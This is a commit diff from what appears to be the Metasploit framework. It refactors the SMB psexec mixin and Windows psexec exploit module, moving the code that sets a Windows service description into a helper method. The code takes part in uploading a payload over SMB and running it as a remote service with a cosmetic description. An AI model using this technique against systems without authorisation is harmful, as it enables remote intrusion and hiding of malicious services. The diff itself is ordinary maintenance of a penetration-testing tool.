Skip to content

Commit 410b1c6

Browse files
committed
Refactor to new psexec style
1 parent ca2fb3d commit 410b1c6

File tree

2 files changed

+27
-17
lines changed

2 files changed

+27
-17
lines changed

lib/msf/core/exploit/smb/psexec.rb

Lines changed: 26 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ def initialize(info = {})
2626
[
2727
OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
2828
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
29+
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
2930
], self.class)
3031
end
3132

@@ -39,6 +40,10 @@ def display_name
3940
@display_name ||= rand_text_alpha(16)
4041
end
4142

43+
def service_description
44+
@service_description ||= datastore['SERVICE_DESCRIPTION']
45+
end
46+
4247
# Retrives output from the executed command
4348
#
4449
# @param smbshare [String] The SMBshare to connect to. Usually C$
@@ -164,6 +169,25 @@ def close_service_handle(svc_handle)
164169
svc_status
165170
end
166171

172+
def change_service_description(svc_handle, service_description)
173+
svc_status = nil
174+
stubdata =
175+
svc_handle +
176+
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
177+
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
178+
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
179+
NDR.long(0x04000200) +
180+
NDR.wstring(service_description)
181+
begin
182+
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
183+
svc_status = response.unpack('V').first
184+
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
185+
print_error("#{peer} - Error changing service description : #{e}")
186+
end
187+
188+
svc_status
189+
end
190+
167191
# Executes a single windows command.
168192
#
169193
# If you want to retrieve the output of your command you'll have to
@@ -176,7 +200,7 @@ def close_service_handle(svc_handle)
176200
# @param command [String] Should be a valid windows command
177201
# @param disconnect [Boolean] Disconnect afterwards
178202
# @return [Boolean] Whether everything went well
179-
def psexec(command, disconnect=true, servicedescription=nil)
203+
def psexec(command, disconnect=true)
180204
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
181205
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
182206
vprint_status("#{peer} - Binding to #{handle} ...")
@@ -214,18 +238,7 @@ def psexec(command, disconnect=true, servicedescription=nil)
214238

215239
if service_description
216240
vprint_status("#{peer} - Changing service description...")
217-
stubdata =
218-
svc_handle +
219-
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
220-
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
221-
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
222-
NDR.long(0x04000200) +
223-
NDR.wstring(service_description)
224-
begin
225-
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
226-
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
227-
print_error("#{peer} - Error changing service description : #{e}")
228-
end
241+
change_service_description(svc_handle, service_description)
229242
end
230243

231244
vprint_status("#{peer} - Starting the service...")

modules/exploits/windows/smb/psexec.rb

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,6 @@ def initialize(info = {})
8080
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
8181
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
8282
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
83-
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
8483
], self.class)
8584
end
8685

@@ -151,8 +150,6 @@ def exploit
151150
# Disconnect from the ADMIN$
152151
simple.disconnect("ADMIN$")
153152
else
154-
servicedescription = datastore['SERVICE_DESCRIPTION']
155-
156153
# Upload the shellcode to a file
157154
print_status("Uploading payload...")
158155
smbshare = datastore['SHARE']
@@ -197,7 +194,7 @@ def exploit
197194
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
198195
end
199196

200-
psexec(file_location, false, servicedescription)
197+
psexec(file_location, false)
201198

202199
print_status("Deleting \\#{filename}...")
203200
sleep(1)

0 commit comments

Comments
 (0)